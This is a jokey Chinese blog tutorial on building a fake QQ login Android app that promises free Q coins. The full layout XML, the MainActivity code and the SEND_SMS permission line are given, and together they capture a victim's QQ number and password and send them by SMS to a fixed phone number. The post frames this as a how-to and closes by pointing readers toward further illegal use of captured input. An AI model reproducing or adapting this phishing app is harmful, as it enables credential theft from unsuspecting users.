套路啊!~小玩Android数据传输

*夜深人静,你熟练的点开了一个不可描述的网站,准备欣赏时,突然被无限弹窗”登录送Q币”,
你是否会心情澎湃??小手一抖点他一发!!然鹅…*

QQ就这样被盗了,刺激吧!!


其实Android移动端也存在类似的套路,下面小编为各位宝宝们来剖他一析

我一探究竟!

最简单的盗号QQ开发流程,你值得拥有,吼吼~~~

项目名称: 定制盗号QQ
期望结果: 用户输入账号密码,一点击提交,瞬间密码账户发送到了骗子的手机里!! 
开发步骤:
    1.创建一个Android项目,在res/values/string.xml里修改一个高大上的应用名!
    2.在清单文件(AndroidManifest.xml)里的application节点下修改icon,来个诱人的图.
    3.找到res/layout里的布局文件activity_main.xml:
        *添加主界面图标:<ImageView />. 主要属性src="@drawable/Niceqq"
        *添加账号输入框: <EditText/>. 主要属性 singlelinetrue="true"  hint="QQ/邮箱/手机号码"
        *添加密码输入框:<EditText/>. 主要属性  inputType="textPassword" hint="请输入密码" 
        *添加登录按钮:<Button/>. 主要属性 onClick="login"
    4.编辑src/包名/MainActivity.java文件,实现具体逻辑.
        *定义关心的控件: EditText qq,EditText qq,Button submit;
            用findViewById(R.id.xx)添加控件
        *设置点击事件,在login()方法里写业务逻辑.
            >获取qq号和密码: 代码 getText().toString().trim()
            >效验账号密码: 代码 TextUtils.isEmpty(qq)||TextUtils.isEmpty(psd)
            >以短信形式发送账号和密码到指定手机号(模板代码)
                SmsManager smsManager=SmsManager.getDefault();
                smsManager.sendTextMessage("发送到的电话号码",null,"发送的内容",null,null);
    5.在清单文件里开放发短信权限.  <uses-permission android:name="android.permission.SEND_SMS"/>

上代码!!

(1)布局文件activity_main.xml

 <ImageView 
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:src="@drawable/Niceqq"
    />
<EditText 
    android:id="@+id/et_qq"
    android:layout_width="200dp"
    android:layout_height="wrap_content"
    android:singleLine="true"
    android:hint="QQ/邮箱/手机号码"
    />
<EditText 
    android:id="@+id/et_psd"
    android:layout_width="200dp"
    android:layout_height="wrap_content"
    android:hint="请输入密码"
    android:inputType="textPassword"
    />

<Button 
    android:layout_width="200dp"
    android:layout_height="wrap_content"
    android:onClick="login"
    android:text="登陆领取Q币"
    />

(2)src下的java代码: MainActivity.java文件

public class MainActivity extends Activity {
    //定义关心控件
    private EditText et_qq;
    private EditText et_psd;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        //添加关心控件
        et_qq=(EditText) findViewById(R.id.et_qq);
        et_psd = (EditText)findViewById(R.id.et_psd);

    }

    //登录按钮点击事件具体逻辑实现
    public void login(View v){
        //获取用户输入的账号和密码
        String qq=et_qq.getText().toString().trim();
        String psd=et_psd.getText().toString().trim();
        //判断输入信息是否为空
        if (TextUtils.isEmpty(qq)||TextUtils.isEmpty(psd)) {
            Toast.makeText(this, "账号或密码不能为空", 0).show();
            return;
        }
        //将获得的信息发送到指定手机号
        SmsManager smsManager=SmsManager.getDefault();
        smsManager.sendTextMessage("5556", null, "username:"+qq+",password:"+psd, null, null);
        Toast.makeText(this, "施主请耐心等待", 0).show();
    }
}

(3)清单文件

在manifest节点里添加:(这样就可以发出短信了)

<uses-permission android:name="android.permission.SEND_SMS"/>

我一运行!

这里写图片描述

这里写图片描述


Tips:

此类Android应用常规套路:

布局中存在EditText和Button.

一 添加关心控件 findViewById(R.id.xx)

二 设置按钮点击事件

三 在按钮点击事件监听方法里,得到输入框里的内容

*代码 String data=et.getText().toString().trim();

*同时判断输入内容是否为空

if(TextUtils.isEmpty(data)){
    Toast.makeText(上下文,"数据不能为空",0).show();
    return;
}

*若有内容,获取之后进行其他非法操作

后续有好玩又实用的tips会持续更新,宝宝们,来呀来呀~~

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值